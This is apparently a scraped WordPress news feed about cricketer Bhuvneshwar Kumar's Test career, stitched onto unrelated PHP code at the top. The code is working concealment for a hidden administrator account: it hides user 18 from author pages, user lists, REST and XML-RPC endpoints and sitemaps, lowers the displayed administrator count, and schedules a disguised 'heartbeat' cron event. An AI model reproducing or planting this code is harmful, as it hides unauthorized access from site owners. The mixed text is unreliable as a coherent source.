add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Don’t Write Your Assumptions”: Bhuvneshwar Kumar Slams Reports Of Him “Not Wanting To Play Test Cricket” appeared first on The Edge Media.
]]>
There have been articles about me not wanting to play Test cricket. Just to clarify, I have always prepared myself for all three formats irrespective of the team selection and will continue to do the same. Suggestion – please don’t write your assumptions based on “sources”!” Bhuvneshwar tweeted.
Bhunvneshwar, who has played 21 Tests for India, last appeared in the longest format way back in 2018 against South Africa in January 2018. The seamer suffered multiple injuries in the last couple of years and missed some important Test series both at home and away.
The post “Don’t Write Your Assumptions”: Bhuvneshwar Kumar Slams Reports Of Him “Not Wanting To Play Test Cricket” appeared first on The Edge Media.
]]>The post Why is Bhuvneshwar kumar not in India squad for England tour? appeared first on The Edge Media.
]]>In a country where how you bowl swing and seam, and how you counter it, determines a large part of the team’s fortunes, the Meerut-born seamer would’ve been the perfect arsenal to carry along. Yet he is not in the squad. Right now, Bhuvneshwar is not injured, as has been the case often in his career, especially over the last four years. Unlike last year, when he got ruled out of the Australia series because of a thigh injury he suffered during an IPL game, he has been fit for most part of this year.
The Syed Mushtaq Ali and the Vijay Hazare tournaments saw the 31-year-old find a place for himself in the One-dayers and T20s against England, where he impressed, and it appeared as if he was on the move again. Then where is Bhuvneshwar right now? Those tracking the bowler’s career and cricket say he is “focusing on the next T20 opportunities coming up”.
“Bhuvneshwar just doesn’t want to play Test cricket anymore. That drive has gone missing,” they add. Those who have seen him from close insist he brought in a huge change in his work-drills a couple of seasons ago, doing away with heavy weight training, falling to the lure of the white-ball comfort and avoiding those hours of long spells that are so integral to red-ball cricket.
“To be honest, the selectors don’t even see Bhuvi hungry for 10 overs, forget Test cricket. It’s Team India’s loss no doubt, because if one bowler should have made it to England, it should have been him,” say those tracking developments.
The post Why is Bhuvneshwar kumar not in India squad for England tour? appeared first on The Edge Media.
]]>